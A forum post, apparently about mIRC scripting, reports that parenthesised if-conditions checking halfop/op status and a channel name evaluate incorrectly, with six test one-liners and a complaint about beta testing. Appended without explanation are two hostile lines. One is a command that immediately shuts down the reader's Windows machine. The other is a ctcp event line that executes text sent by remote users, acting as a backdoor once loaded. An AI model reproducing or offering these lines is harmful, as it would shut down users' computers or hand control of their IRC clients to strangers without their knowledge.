Few simple cases I tried..

I am a % (halfop) on #help... so most of these should have evaluated as false.. but they seem to give me true.. These were all done in #help itself (obviously) after I'd noticed a script misbehaving when I'd previously had #help exluded from the event.

Code:
0) //if ($me ishop $chan || $me isop $chan) && $chan != #help echo true
-0) For those of you that like ugly unreadable if statements, here's the stupid version which works.

1) //if (($me ishop $chan) || ($me isop $chan)) && ($chan != #help) echo true
-1) Also doesn't return anything, as it should (ie it's false)

Rest return true and shouldn't by basic paren priority rules.
2) //if ((($me ishop $chan) || ($me isop $chan)) && ($chan != #help)) echo true
-2) any proper programmer knows it should be false

3) //if (((((($me ishop $chan) || ($me isop $chan))))) && ($chan != #help)) echo true
-3) same idea as above, was to prove a point

4) //if (($me ishop $chan || $me isop $chan) && ($chan != #help)) echo true
-4) again same thing, just without the extra paren priotiry on individual checks

5) //if (($me ishop $chan || $me isop $chan) && $chan != #help) echo true
-5) Expanding on (4), same deal.


What I had originally was (2) because that's readable proper syntax, now I'm stuck using (1) and it's annoying me greatly. This also means well over 50% of my other scripts (and there's a damn good many of them) will no longer function properly.

Please fire your beta testers, or at least have real programmers test these things in the future smirk I don't see why this should have been missed. It is simple binary logic with priorities.

/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}